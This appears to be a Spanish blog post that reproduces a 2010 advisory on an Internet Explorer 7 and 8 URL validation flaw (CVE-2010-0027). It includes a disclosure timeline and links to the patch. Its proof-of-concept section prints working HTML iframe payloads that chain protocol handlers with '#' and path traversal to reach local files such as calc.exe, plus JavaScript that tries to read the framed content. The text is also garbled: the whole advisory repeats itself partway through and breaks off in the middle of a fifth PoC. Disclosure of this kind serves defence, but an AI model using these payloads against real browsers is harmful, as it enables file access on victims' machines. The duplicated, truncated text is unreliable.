Internet explorer 7 & 8 URL Validation Vulnerability
25 febrero 2010
0
comentarios
############################################
Internet explorer 7 & 8 url validation vulnerability
Reportado por: http://lostmon.blogspot.com/2010/02/internet-explorer-7-8-url-validation.html
URL afectada: http://www.microsoft.com
Avance acerca del bug: http://lostmon.blogspot.com/2010/02/internet-explorer-6-7-8-url-validation.html
Boletines relacionados: MS10-002 and ms10-007
CVE relacionado 2010-0027
OSVDB ID relacionado: 62245 and 62245
Secunia relacionado: SA38501 and SA38209
BID relacionado: 37884
############################################
############
Descripción
############
Internet Explorer contiene una vulnerabilidad de ejecución remota de código al validar correctamente la entrada.
Un atacante podría aprovechar esta vulnerabilidad mediante la construcción de una URL especialmente diseñada. Cuando un usuario hace click en la URL, la vulnerabilidad podría permitir la ejecución remota de código si ésto no se parchea.
Un atacante que aprovechase esta vulnerabilidad podría obtener los mismos derechos de usuario como usuario administrador registrado.
#################
Versiones afectadas
#################
Está probado en las versiones Internet Explorer 7 & 8 de windows.
En todas las versiones de Windows 7
Windows xp home y Windows xs pro
Por lo que podéis buscar en el boletín de Microsoft en qué sistemas es o no vulnerable para obtener una lista de todos los productos afectados por este bug.
#############
Seguimiento
#############
descubierto: 05/11/2009
informe al proveedor 15-11-2009
respuesta de los proveedores :15-11-2009
aceptación de proveedor en administrar el caso 19-11-2009
parcheo del proveedor 21-01-2010
distribuidor Patch2 :09-02-2010
divulgación pública: 21-01-2010
detalles de divulgación :10-02-2010
##############
Solución
##############
Ver: http://www.microsoft.com/technet/security/Bulletin/ms10-002.mspx
y: http://www.microsoft.com/technet/security/Bulletin/ms10-007.mspx
para más detalles bajar el parche de Microsoft
#######################
Código de ejemplo y PoC
#######################
Esta vulnerabilidad está basada en la forma de cómo Internet Explorer valida los controladores de URI así como el char especial '#'
Para las pruebas y entendiendo primero de Internet Explorer, lo abrimos y ecribimos en la barra de direcciones una dirección falsa: `handler:' esto causa que IE nos redirija a una página interna 'res://ieframe.dll/unknownprotocol.htm' a causa de protocolo desconocido.
y si hacemos => handler:http://[some-host]', IE espera a abrir el host, pero no muestra ningún error o error desconocido de protocolo.
Si volvemos a escribir en la barra de direcciones: 'handler:handler2:' IE nos vuelve a redirijir a la página anterior: 'res://ieframe.dll/unknownprotocol.htm'
Pero si concadenamos dos controladores de protocolo y usamos el char especial '#' usando: 'handler:handler#:' IE nos muestra una alert diciendo "internet explorer no encuentra file:///'
Con esta combinación IE usa el controlador de protocolo.
Con este alert podemos pensar ... si queremos concadenar dos controladores y el char # y una ruta de archivo a la cual podemos tener acceso a los archivos en el disco duro.
"handler:handler#:c:\windows\calc.exe'
Pero nuevamente nos dice que 'internet explorer no encuentra el archivo'
Y si ponemos el acceso de archivos como trasversal: handler:handler#:../../../../C:\windows/calc.exe’
Ejecuta un prompt para descargar el archivo y hemos eludido las restricciones bypass!!
Así estamos trabajando en la barra de direcciones.
Una página web puede utilizar esta vulnerabilidad para aprovecharla y pedir para descargar el fichero que sea ? SÍ
podemos construir una página web con un iframe como por ejemplo:
############# PoC primero #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>
################# EOF #################
Si lo abrimos a través de la carpeta local, o mediante un servidor local o como servidor de LAN o un servidor remoto, en todos los casos, por ejemplo preguntándole para descargar.
Podemos acceder a cualquier archivo en el disco duro de manera que se puede ejecutar o leer el contenido de un archivo ? SÍ
############## PoC segundo #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>
############# EOF #################
Cuando abrimos este PoC, lee el contenido de our_txtfile.txt y lo muestra en el marco.
Podemos ejecutar archivos ? SÍ
Se puede ejecutar un archivo HTML o un archivo XML o búsqueda-ms
desde el disco duro por ejemplo:
############# PoC tercero ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>
############### EOF ###########
Si miramos Explorer se ejecuta una búsqueda en local :D
Se puede leer el contenido de cualquier archivo y subirlo a un servidor o gestionar el contenido ? Yo no he encontrado una manera de hacerlo, ya que a veces Internet Explorer niega el acceso a los contenidos del iframe.
############# PoC cuarto ##############
<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);
content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>
<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>
</body>
</html>
##################### EOF #############################
Que daría un error de acceso denegado, si utilizásemos XMLHttpRequest () sigue sin funcionar y de nuevo nos deniega el acceso:
########### PoC quinto ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
Internet explorer 7 & 8 url validation vulnerability
Reportado por: http://lostmon.blogspot.com/2010/02/internet-explorer-7-8-url-validation.html
URL afectada: http://www.microsoft.com
Avance acerca del bug: http://lostmon.blogspot.com/2010/02/internet-explorer-6-7-8-url-validation.html
Boletines relacionados: MS10-002 and ms10-007
CVE relacionado 2010-0027
OSVDB ID relacionado: 62245 and 62245
Secunia relacionado: SA38501 and SA38209
BID relacionado: 37884
############################################
############
Descripción
############
Internet Explorer contiene una vulnerabilidad de ejecución remota de código al validar correctamente la entrada.
Un atacante podría aprovechar esta vulnerabilidad mediante la construcción de una URL especialmente diseñada. Cuando un usuario hace click en la URL, la vulnerabilidad podría permitir la ejecución remota de código si ésto no se parchea.
Un atacante que aprovechase esta vulnerabilidad podría obtener los mismos derechos de usuario como usuario administrador registrado.
#################
Versiones afectadas
#################
Está probado en las versiones Internet Explorer 7 & 8 de windows.
En todas las versiones de Windows 7
Windows xp home y Windows xs pro
Por lo que podéis buscar en el boletín de Microsoft en qué sistemas es o no vulnerable para obtener una lista de todos los productos afectados por este bug.
#############
Seguimiento
#############
descubierto: 05/11/2009
informe al proveedor 15-11-2009
respuesta de los proveedores :15-11-2009
aceptación de proveedor en administrar el caso 19-11-2009
parcheo del proveedor 21-01-2010
distribuidor Patch2 :09-02-2010
divulgación pública: 21-01-2010
detalles de divulgación :10-02-2010
##############
Solución
##############
Ver: http://www.microsoft.com/technet/security/Bulletin/ms10-002.mspx
y: http://www.microsoft.com/technet/security/Bulletin/ms10-007.mspx
para más detalles bajar el parche de Microsoft
#######################
Código de ejemplo y PoC
#######################
Esta vulnerabilidad está basada en la forma de cómo Internet Explorer valida los controladores de URI así como el char especial '#'
Para las pruebas y entendiendo primero de Internet Explorer, lo abrimos y ecribimos en la barra de direcciones una dirección falsa: `handler:' esto causa que IE nos redirija a una página interna 'res://ieframe.dll/unknownprotocol.htm' a causa de protocolo desconocido.
y si hacemos => handler:http://[some-host]', IE espera a abrir el host, pero no muestra ningún error o error desconocido de protocolo.
Si volvemos a escribir en la barra de direcciones: 'handler:handler2:' IE nos vuelve a redirijir a la página anterior: 'res://ieframe.dll/unknownprotocol.htm'
Pero si concadenamos dos controladores de protocolo y usamos el char especial '#' usando: 'handler:handler#:' IE nos muestra una alert diciendo "internet explorer no encuentra file:///'
Con esta combinación IE usa el controlador de protocolo.
Con este alert podemos pensar ... si queremos concadenar dos controladores y el char # y una ruta de archivo a la cual podemos tener acceso a los archivos en el disco duro.
"handler:handler#:c:\windows\calc.exe'
Pero nuevamente nos dice que 'internet explorer no encuentra el archivo'
Y si ponemos el acceso de archivos como trasversal: handler:handler#:../../../../C:\windows/calc.exe’
Ejecuta un prompt para descargar el archivo y hemos eludido las restricciones bypass!!
Así estamos trabajando en la barra de direcciones.
Una página web puede utilizar esta vulnerabilidad para aprovecharla y pedir para descargar el fichero que sea ? SÍ
podemos construir una página web con un iframe como por ejemplo:
############# PoC primero #################
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\windows/calc.exe">
</html>
################# EOF #################
Si lo abrimos a través de la carpeta local, o mediante un servidor local o como servidor de LAN o un servidor remoto, en todos los casos, por ejemplo preguntándole para descargar.
Podemos acceder a cualquier archivo en el disco duro de manera que se puede ejecutar o leer el contenido de un archivo ? SÍ
############## PoC segundo #############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\our_txtfile.txt">
</html>
############# EOF #################
Cuando abrimos este PoC, lee el contenido de our_txtfile.txt y lo muestra en el marco.
Podemos ejecutar archivos ? SÍ
Se puede ejecutar un archivo HTML o un archivo XML o búsqueda-ms
desde el disco duro por ejemplo:
############# PoC tercero ###############
<html>
<iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms">
</iframe>
</html>
############### EOF ###########
Si miramos Explorer se ejecuta una búsqueda en local :D
Se puede leer el contenido de cualquier archivo y subirlo a un servidor o gestionar el contenido ? Yo no he encontrado una manera de hacerlo, ya que a veces Internet Explorer niega el acceso a los contenidos del iframe.
############# PoC cuarto ##############
<html>
<head>
</head>
<body>
<script type="text/javascript">
function getContentFromIframe(iFrameName)
{
var myIFrame = document.getElementById(iFrameName);
var content = myIFrame.contentWindow.document.body.innerHTML;
alert('content: ' + content);
content = 'change iframe content';
myIFrame.contentWindow.document.body.innerHTML = content;
}
</script> <iframe id="myIframe"
src="handler:handler#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms"></iframe>
<a href="#" onclick="getContentFromIframe('myIframe')">Get the content</a>
</body>
</html>
##################### EOF #############################
Que daría un error de acceso denegado, si utilizásemos XMLHttpRequest () sigue sin funcionar y de nuevo nos deniega el acceso:
########### PoC quinto ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
